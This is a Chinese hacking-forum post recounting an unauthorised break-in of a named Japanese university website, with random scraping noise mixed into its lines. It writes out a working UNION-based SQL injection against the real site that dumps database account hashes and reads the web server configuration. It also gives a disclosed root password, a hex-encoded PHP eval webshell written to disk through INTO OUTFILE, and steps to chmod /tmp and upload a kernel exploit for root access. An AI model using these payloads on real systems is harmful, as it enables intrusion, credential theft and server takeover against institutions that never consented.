找回密码
 立即注册
查看: 2932|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
& q7 S+ q; w; j5 }, x8 ?. L
" r( x7 \( N) N: F- f, h$ ]- ~, w3 vhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1& }# q* D" n$ S! _- o
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:+ T( S6 \4 A1 A& L: G

: l6 C1 S$ g- Z* G7 V. f2 f0 dhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
. o+ M2 |, H3 b; R6 `" k# z. `' |5 @, i* r8 R; E
' X! [8 Z, y. V2 u- X

3 a% H- B, r7 H1 q//@@datadir为数据库文件路径 + M1 ^# R6 R& _  ~8 d' s' F1 A

7 ~6 r7 R4 B8 ?- A6 v/ K3 S
6 ]$ H! g4 ~" q: u//load_file读取网站容器apache的配置文件
1 j1 y( q2 p  _; e; m. i, N 9 u" H% R& S& n/ G7 o+ e
$ c4 a) }* k7 q$ Y! t
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
& r; A) n$ }: ~- t- J( Z. n复制代码
1 t( v2 P6 x& n3 [
3 j  L2 A8 Z1 H虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。2 M2 [! {0 o# x( h1 S" B2 D# ?
5 k; [6 @- k) v: |2 T- ]. L
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
, j: O4 a4 h2 s" _(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)% c7 a- Z+ B- f2 W, k, n
8 q; e7 G& j3 `
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。0 x: b( a" \% j7 O7 l
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html1 j. K+ l+ }# y

7 M7 i! h$ u4 N( {, Z既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/0 M6 a4 P, |# D! _9 c, v  _' K
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。1 a/ k. b& m6 S* r& n# j: U! g
直接写一句话:
8 V2 S2 }4 q5 E6 M- l) f* q6 }2 t# |" b
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#4 |8 z- V) B# z# C9 Z# e1 }5 Y

' a2 G/ T# S4 u! Y
. m8 u! n: L1 k/ g# q$ [. D8 x9 N! g4 c& t& B( s
//最后的#是为了闭合前面的语句   H2 f# D$ n- I
( l/ O6 B" B: Y$ \, g9 `& z$ C
4 I1 e7 x' p6 V# f6 M9 m
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
* o! S2 i  `9 @ / g9 G/ d$ _& _6 M9 J5 E. k

. d0 g0 I8 l+ |9 j为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
7 x6 u1 t# ~5 ]  V# \+ i  F
8 o/ s1 ?  y2 h2 c8 E2 D& X+ u  l1 V3 ^* c6 o6 Z% L3 d, ?7 G4 b
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 4 A7 N1 m0 m& I7 V* c& c
- D. b- N) L# v, |  Y+ c

& ~6 Q3 q) E% v; q- t//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
7 t: {. ]; d6 B  b$ w0 s8 a" A//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” & H; N3 D" J4 R5 J8 {( N' o
复制代码0 {5 p% p- O' Z, y/ m7 i( Z
* s6 g& x. p$ q2 Z% n
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有5 ]: ?7 x- D: D3 V% N6 J
通过上述注入语句,我们就得到了一句话木马:
' V9 M9 u* f! y4 v" d
6 A& D2 r4 h3 r) @7 F; ? 6 E) V( u( U+ J0 K+ N8 U

7 `1 ~5 p8 W) n) u
7 v( e% O  |2 z# n* O) ?* X4 n
: D6 M' p0 k7 _) Zhttp://www.doshisha.ac.jp/english/engnews_img/aa.php ) \% i* r$ @2 ~
复制代码0 V/ v+ n" j0 q. l

" r+ f' h# J% o7 E4 f" r3 p用菜刀连接,密码是cmd,如图所示:
& A& P. l, q" R3 X然后在命令提示行里看了一下,现在的权限是:) G6 M* j, Y$ m5 B: p
5 k5 J9 Z* g+ q, F; d+ }" r  y2 }& E! j
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。/ Z3 J/ I/ z9 W' f+ K
好在赋权给这个文件夹不需要root,直接执行赋权语句:3 x/ B* c/ v3 }2 U& _. e: x
( _4 m- A: L7 @9 \5 D/ Q% |6 f

, E. g% V) H0 J& t
) g7 c' C, r  }4 k2 b
: S3 w8 F! i0 C% p# j
3 V. S' y3 q. j0 ochmod +x /tmp/ , b; ^% ]( h; {/ }* n
复制代码, Z0 ]  _2 [' J" S! @' z& j

/ H* R$ q- v& t2 U- f在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行& M! F- A& g# M. `" ^! O  P/ M
然后就查了一下内核版本:- L5 E4 J( ~- N1 m. _
9 y8 L+ C' Y' i8 y! O

( L$ ?. l7 w. z* B2 C0 L3 a% N) J- \( |5 N3 i9 [
9 I6 v' L! P' s4 c  U8 n+ i6 Q
5 p; F8 {9 @* D% K. Y9 n
uname-a
7 l6 \2 e: z, ]9 I1 z( r
3 u5 f6 B+ \: |4 J! j2 A
' ~. I" K, T% V/ J& _$ i//其实lsb_release -a
$ _8 q3 J9 h4 g0 r$ o复制代码" k) Y' H+ }; v% q2 K8 K- Z; `" c3 g

% h; O+ W( K9 B# @. f, x) C如图所示:/ R# L: }- o5 l6 E: a
5 b$ k$ n6 i$ z- q1 u4 z
内核版本:linux mainz1 2.6.28-194.e15% a  h% M, s  l( Z5 b6 q, T
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)+ r3 N+ P- [  Q2 f
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
$ @! `( K9 a  h& j/ H9 E- @9 i
3 o8 I3 |3 b* @7 y/ X/ j  P然后给予执行权限! p- {) G  K* p) s' W, x
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
0 N  W* G! Z/ `& }. P, l
, r3 F  O/ p) u  U( V: G) u7 f0 a
6 ]$ l, D& W- u
9 u! Y1 I4 _, Q- x
2 Z8 v" N5 m$ V0 l0 x; V0 Q3 Q  Q. U" z) s
chmod +x /tmp/2.6.18-194
& P! X9 U3 Y) G. [# R复制代码 然后直接执行!~" ?2 T' C% c& x; A& n

) E" Q4 e! Y2 O9 ~! h4 h9 X总结:
; b; @9 I# O) q) k1 `8 ]这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了& J3 L, |0 Q- m' t+ ^
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root' I3 }: j# J3 b# y3 I1 W/ A
: |9 g/ [- r/ w7 q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表